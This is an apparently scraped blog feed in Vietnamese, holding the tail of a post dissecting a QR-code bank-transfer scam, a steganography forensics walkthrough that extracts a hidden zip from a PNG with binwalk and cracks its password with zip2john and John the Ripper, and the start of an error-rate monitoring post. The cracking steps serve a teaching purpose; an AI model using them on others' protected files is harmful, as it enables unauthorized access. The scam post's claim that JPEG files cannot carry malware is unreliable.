  &lt;li&gt;Ngoài ra, vừa bước sang năm mới, cái gì cũng sẽ mới, kể cả “nghị định” :)). Thử nghĩ đến việc “cái gì đó vừa được thay đổi và áp dụng đầu năm nay” nó luôn dễ tin hơn những thứ đang bình thường “đột nhiên” thay đổi :)) -&amp;gt; Khoàn này là việc nắm bắt tâm lý đại đa số con người&lt;/li&gt;
  &lt;li&gt;Trong quá trình thực hiện, scammer sẽ cố gắng hỏi bạn những câu hỏi ngoài lề, những câu hỏi đặt ra liên tục đó không ngoài mục đích gì khác ngoài việc làm bạn lảng tránh “sự hoài nghi” về những cái bạn đang làm và tạo cảm giác gần gũi với bạn để tăng độ tin tưởng :)).&lt;/li&gt;
  &lt;li&gt;Ở bước kiểm tra biến động giao dịch, cái scammer cần không phải là kiểm tra thông tin giao dịch mà cái họ cần là số dư trong tài khoản của bạn, bước này để xác định số dư hiện tại và tạo QR chuyển tiền tương ứng.&lt;/li&gt;
  &lt;li&gt;Những thông tin cá nhân của bạn không có ý nghĩa đối với mã QR scammer đã gửi cho bạn, đó chỉ là những thủ tục của sự chuyên nghiệp dẫn dắt bạn đến đúng đích đến họ cần, đich đến đó có thể làm bánh chưng của bạn năm nay “bay hết cả nhân”. Tất cả những thuộc tính bao gồm trong mã QR đó đơn thuần chỉ là một mã QR chuyển tiền thông thường bao gồm &lt;strong&gt;Số tài khoản của scammer&lt;/strong&gt; và &lt;strong&gt;Số tiền được chuyển&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Về khả năng nguy hiểm khi tải hình ảnh xuống. Mọi định dạng của hình ảnh khi được gửi thông qua mạng xã hội (Facebook, Zalo, …) đều được lưu ở máy chủ và sẽ được chuẩn hóa về một định dạng chung (JPEG) khi bạn tải xuống. Tính cho đến nay, không thể chèn malware vào file có định dạng JPEG, vì vậy, việc tải xuống là an toàn.&lt;/li&gt;
  &lt;li&gt;Lúc bạn vừa thao tác vừa nghe điện thoại và làm theo hướng dẫn ít nhiều đã làm bạn phân tâm vì bạn đang thực hiện nhiều việc cùng một lúc trong lúc thực hiện theo hướng dẫn. Từ đó khả năng cuộc scam sẽ tăng nhiều tỉ lệ thành công hơn.&lt;/li&gt;
  &lt;li&gt;Điều đáng lưu ý là ở mã QR có đề cập đến “Thời gian hiệu lực 60s”, đây là một chiêu để để có thể chuyển tiền nhiều lần với lý do là “Mã đã hết thời gian hiệu lực, cần thao tác lại khi sự thật không phải vậy”, tiền trong tài khoản vẫn cứ bay không hề hay biết :D. Ngoài ra, đây cũng là một tác động đến tâm lý của nạn nhân về việc thao tác nhanh chóng để tránh việc “Hết thời gian hiệu lực” của mã QR và cần thao tác lại. Trong khi mọi người luôn hiểu rằng nếu quá gấp gáp thì sẽ tăng khả năng xảy ra sơ suất trong mọi tình huống, bao gồm cả suy nghĩ về những công việc mình đang làm.&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Steganography</title>
   <link href="https://vuvietnguyenit.github.io/steganography"/>
   <updated>2024-09-30T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/Steganography</id>
   <content type="html">&lt;p&gt;Trong mật mã học, Steganography là một cách biểu diễn thông tin để khó bị phát hiện bởi con người.
Trong thực tế, phương pháp này thường được dùng để ẩn thông tin bí mật trong một file khi truyền tải, nó được sử dụng rất nhiều trong môi trường khắc nghiệt như &lt;strong&gt;Deepweb&lt;/strong&gt; để trao đổi những thông tin bất hợp pháp giúp có thêm cơ hội để giảm thiểu khả năng bị phát hiện bởi những tổ chức An ninh mạng chính phủ. Thông tin bí mật có thể là một file khác hoặc đơn thuần là một file text có chưa nội dung bí mật. Đây có thể là một trong những cách để “đánh lạc hướng” trong các cuộc điều tra kỹ thuật số (Digital Forensics) vì “những cái thực sự thấy chỉ là phần nổi của tảng băng chìm”.&lt;/p&gt;

&lt;h3 id=&quot;forensics&quot;&gt;Forensics&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Để dễ hình dung, hãy đi vào xem xét một ví dụ sau:&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Giả sử một nhóm cybercrime đang thực hiện buôn bán bất hợp pháp trên internet nhưng họ muốn bằng một cách nào đó đánh lạc hướng các điều tra viên nên đã “bẻ lái” câu chuyện thành một cuộc thảo luận về UFO. Trong câu chuyện có bình luận những hình ảnh liên quan đến những alien “rất cute” chẳng hạn như:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/image_steganography.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Trông thì có vẻ không có gì bất thường ở đây. Nhưng hãy download ảnh này về và tiến hành phân tích chúng.&lt;/p&gt;

&lt;p&gt;Đầu tiên, bản chất của image file là một file có chứa tập dữ liệu được mã hóa. Vì vậy ta hoàn toàn có thể kiểm tra file đó bằng lệnh &lt;strong&gt;cat :&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;cutie.png          
�PNG
▒
IHD���PLTE�����������������������������������������������������������������������������������������������������������������������������a���&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;EB��:����ϲ30p�.&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CA��b+FB��8&lt;span class=&quot;s2&quot;&gt;&quot;&amp;gt;;&amp;amp;@B&amp;amp;A&amp;gt;9RO =:#&amp;lt;A;8&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$@&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;=96.)%&amp;gt;A��b��:&amp;amp;AA��:��e��c��]��9��_�&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;P��b4-HC��Z5NK�#▒��W���!:@t�-�ӵ0KG�����������Ͱ���r�-u�&lt;span class=&quot;s2&quot;&gt;&quot;6SB��?/KB�����6��G��������L��C2OB��ب�Z���CZWn�,Rhc��T9X@&amp;gt;VRMc^�ٻ����ꖞ�P��&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;H_[z�&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;��W��9l�,���Wli������j&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;z��]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&amp;amp;��c���^rmGk&amp;gt;t�&amp;lt;Nq&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;��d��&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;���cwt������&amp;gt;&lt;span class=&quot;se&quot;&gt;\G&lt;/span&gt;��Z�����Ց����:������Q|?Be&amp;gt;&amp;gt;^&amp;gt;��&lt;span class=&quot;se&quot;&gt;\!&lt;/span&gt;EC��������Ј��u����&lt;span class=&quot;se&quot;&gt;\Y&lt;/span&gt;|M��������QsK&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;��o�~��X�����vEeHm�&amp;lt;��ƌ��a�&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;l�&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;x����mg�&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;������&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;�2m�R�è]�&amp;gt;���a�OW�&amp;gt;h�0��/����ôf�PWw5���t�S��������°����PLlJ����������󜥰�i{n�:�&quot;&lt;/span&gt;�˼&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;�|z�&lt;span class=&quot;o&quot;&gt;)[&lt;/span&gt;oa�������줃����I��Vx�T�����Aq�q��������W3D?y�5���&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;�U�aPAA&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;�&amp;gt;0�&lt;span class=&quot;s1&quot;&gt;&apos;��x�UF�.%sPHz6/|�nVE?e82��ȅ�ZM�UJ��N��D�*tRNS��
�(���0Θ�?E�LU8��]��eԹsxoj������������IDATx����OSg▒�[
W4/ȠD��󞛾=9=���!�ihK�
        d)��i0�P!�Au��Ĉ��,
                          Y$r���;�[�2�v�s����=0�hO9��e�x���y���&amp;lt;���4��䤢�S��*���X�ɂ��d���%��t��t=�`0f��,/I�q�HI-(./19�ey�Z�8L��U���ƲSE:��Aک,؝���Ru▒     OQv:�+��4�FB�����b-J$0)����r⸖_&amp;amp;*G���s-H$&amp;amp;�F�?J
t▒      GR6�7��
               �Fb������N#�8}D���N#aH.փh1��i)g�&apos;&lt;/span&gt;@_��R���c:�D�▒�Th�F&lt;span class=&quot;s2&quot;&gt;&quot;p
|2
&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;w�&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;��&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;�kէ�I����Ͼ���t����ʝ��]t���S���2�@��b��F�v;�0v;mu����&amp;gt;-�L&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\�&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;��������▒h��/�����B��z�;����(éAC{�E�&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$�&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;�zI:0L&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\�&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;�&quot;&lt;/span&gt;�P�÷t
                                                                                                                      &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;(K�i���:W�&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;H&amp;lt;iw�hN�4�I��K����n��w��C#���H�&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;���
�uUcF�t▒G�&amp;lt;:Dhs�&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;���j�J���&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;ߍ/_���_�~��Y]C�qt�G�V��H�׋��jn��p��U��r�&amp;lt;|�&lt;span class=&quot;se&quot;&gt;\]&lt;/span&gt;%��
                                                                           �Yf�4���t ���K
TU�����r��-2_ݰX�1bU&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;�kC����&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;/�����&amp;amp;�X5�1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;�z~�&lt;span class=&quot;s2&quot;&gt;&quot;E@�@��NC]���
...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Trông có vẻ không khả thi vì toàn bộ thông tin của file đã được mã hóa :D. Lúc này hãy thử lọc ra những ký tự mà chúng ta có thể đọc được bằng lệnh &lt;strong&gt;strings&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;cutie.png | strings
...
        &lt;span class=&quot;o&quot;&gt;([&lt;/span&gt;b!
G9qE
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;A&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;j
^MEjOk
L^ay
&lt;span class=&quot;s2&quot;&gt;&quot;P{J
d: ]
ZT%Q
p7a4u
^[=&amp;amp;
IEND
To_agentR.txt
W&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;z#
2a&amp;gt;=
To_agentR.txt
EwwT
                                                                                                                                                     
┌──(kali㉿kali)-[/tmp]
└─&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Weu, chúng ta thấy gì này :D, có vè là một file gì đó có tên &lt;strong&gt;To_agentR.txt&lt;/strong&gt; được nhúng trong hình ảnh này. File này có thể có một vài thông tin bí mật sẽ hữu ích trong cuộc điều tra của chúng ta.&lt;/p&gt;

&lt;p&gt;Vì vậy, hãy thử trích xuất file này khỏi file ảnh ban đầu.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kiểm tra các file binaries khác có thể được nhúng trong file:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;binwalk cutie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
&lt;span class=&quot;nt&quot;&gt;--------------------------------------------------------------------------------&lt;/span&gt;
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Kết quả kiểm tra cho thấy có một tệp Zip được nhúng, và file được zip có tên &lt;strong&gt;To_agentR.txt.&lt;/strong&gt; Vì vậy phán đoán ban đầu của chúng ta đã đúng.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thực hiện trích xuất toàn bộ dữ liệu của file&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;binwalk &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; cutie.png

DECIMAL       HEXADECIMAL     DESCRIPTION
&lt;span class=&quot;nt&quot;&gt;--------------------------------------------------------------------------------&lt;/span&gt;
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor &lt;span class=&quot;s1&quot;&gt;&apos;jar xvf &apos;&lt;/span&gt;%e&lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Errno 2] No such file or directory: &lt;span class=&quot;s1&quot;&gt;&apos;jar&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;jar xvf &apos;&lt;/span&gt;%e&lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt; might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

                                                                                                                                                     
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; _cutie.png.extracted 
total 316
drwxrwxr-x  2 kali kali    100 Sep 30 04:18 &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
drwxrwxrwt 18 root root    460 Sep 30 04:18 ..
&lt;span class=&quot;nt&quot;&gt;-rw-rw-r--&lt;/span&gt;  1 kali kali 279312 Sep 30 04:18 365
&lt;span class=&quot;nt&quot;&gt;-rw-rw-r--&lt;/span&gt;  1 kali kali  33973 Sep 30 04:18 365.zlib
&lt;span class=&quot;nt&quot;&gt;-rw-rw-r--&lt;/span&gt;  1 kali kali    280 Sep 30 04:18 8702.zip
                                                                                                                                                     
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Một file zip có tên: &lt;strong&gt;8702.zip&lt;/strong&gt; được trích xuất. Trong đây có thể chứa thông tin chúng ta đang cần. Hãy thử giải nén file đó ra.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Giải nén file&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;7za e _cutie.png.extracted/8702.zip 

7-Zip &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 24.07 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;x64&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; : Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 1999-2024 Igor Pavlov : 2024-06-19
 64-bit &lt;span class=&quot;nv&quot;&gt;locale&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;archives:
1 file, 280 bytes &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 KiB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Extracting archive: _cutie.png.extracted/8702.zip
&lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;
Path &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; _cutie.png.extracted/8702.zip
Type &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; zip
Physical Size &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 280

    
Enter password &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;will not be echoed&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Có vẻ chúng ta đã gặp chút rắc rối vì file yêu cầu mật khẩu để có thể giải nén được. Các bước tiếp theo sẽ thực hiện crack zip file để truy xuất được thông tin cần tìm.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Trong mật mã truyền tin, 2 bên thường sẽ có một khóa (thường gọi là secret key). Khóa này như là một password dùng “mở khóa” để lấy được những thông tin mà người gửi muốn truyền tải.  Cách này càng giúp cuộc điều tra trở nên khó khăn vì đã tăng thêm 1 lớp xác thực.&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Crack zip password&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;zip2john 8702.zip &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; dump.hash    
                                                                                                                                                     
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls    
&lt;/span&gt;365  365.zlib  8702.zip  dump.hash
                                                                                                                                                     
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;dump.hash          
8702.zip/To_agentR.txt:&lt;span class=&quot;nv&quot;&gt;$zip2$*&lt;/span&gt;0&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;1&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;0&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;4673cae714579045&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;67aa&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;4e&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;4969f382486cb6767ae6&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;zip2&lt;span class=&quot;nv&quot;&gt;$:&lt;/span&gt;To_agentR.txt:8702.zip:8702.zip

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sau khi nhận được hash. Lúc này hãy thực hiện brute-force để tìm được mật khẩu&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;john dump.hash                                                         
Using default input encoding: UTF-8
Loaded 1 password &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ZIP, WinZip &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;PBKDF2-SHA1 128/128 AVX 4x]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Cost 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;HMAC size&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; is 78 &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press &lt;span class=&quot;s1&quot;&gt;&apos;q&apos;&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;status
Almost &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: Processing the remaining buffered candidate passwords, &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;any.
Proceeding with wordlist:/usr/share/john/password.lst
alien            &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;8702.zip/To_agentR.txt&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;     
1g 0:00:00:01 DONE 2/3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2024-09-30 04:36&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 1.000g/s 45470p/s 45470c/s 45470C/s 123456..ferrises
Use the &lt;span class=&quot;s2&quot;&gt;&quot;--show&quot;&lt;/span&gt; option to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Rất may mắn khi mật khẩu được đặt không quá phức tạp nên việc crack hoàn thành rất nhanh chóng. Lúc này hãy sử dụng mật khẩu đã crack được là &lt;strong&gt;alien&lt;/strong&gt; để unzip file&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Extract file&lt;/span&gt;
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;7za e 8702.zip                     

7-Zip &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 24.07 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;x64&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; : Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 1999-2024 Igor Pavlov : 2024-06-19
 64-bit &lt;span class=&quot;nv&quot;&gt;locale&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;archives:
1 file, 280 bytes &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 KiB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Extracting archive: 8702.zip
&lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;
Path &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 8702.zip
Type &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; zip
Physical Size &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 280

    
Enter password &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;will not be echoed&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:
Everything is Ok

Size:       86
Compressed: 280
                                                                                                                                       
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
&lt;/span&gt;365  365.zlib  8702.zip  dump.hash  To_agentR.txt

&lt;span class=&quot;c&quot;&gt;# Trích xuất thông tin bí mật                                                                                                                                                     &lt;/span&gt;
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;To_agentR.txt 
Agent C,

We need to send the picture to &lt;span class=&quot;s1&quot;&gt;&apos;QXJlYTUx&apos;&lt;/span&gt; as soon as possible!

By,
Agent R
                                                                                                                                                     
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp/_cutie.png.extracted]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Done, sẽ khá là bất ngờ khi lần đầu tiên bạn khám phá được cách nhúng thông tin bí mật vào một file khác. Hầu hết các file đều có thể nhúng những thông tin bí mật khác vào chúng. Quan trọng là trong quá trình truyền tải, các dữ liệu đó có phải là những dữ liệu vi phạm tính chất về cộng đồng hay những nội dung độc hại được các mạng xã hội detect được và xóa nó đi hay không, còn việc nhúng thông tin bí mật vào file khá dễ dàng. Vì vậy, cybercrimes thường sẽ sử dụng những mạng xã hội lỏng lẻo trong tính bảo mật để thuận lợi trong việc trao đổi thông tin bất hợp pháp.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Evaluating Service Compliance Using Error Rate</title>
   <link href="https://vuvietnguyenit.github.io/compliance-by-error-rate"/>
   <updated>2024-07-20T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/Compliance_by_Error_Rate</id>
   <content type="html">&lt;h2 id=&quot;calculate-and-aggregate-error-rate&quot;&gt;Calculate and Aggregate Error Rate&lt;/h2&gt;

&lt;p&gt;To illustrate, consider the following example:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Example:&lt;/em&gt;&lt;em&gt;**&lt;/em&gt; Up to the current time (T = 15m), 21 events corresponding to data points have been collected, where X data points are bad events and Y data points are good events. These data points are arranged as follows on a time-series:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; *+**+*+ ****+** +*+*++* ****+
|----------------------------&amp;gt;
0m                          15m

(*) represents a good event
(+) represents a bad event.
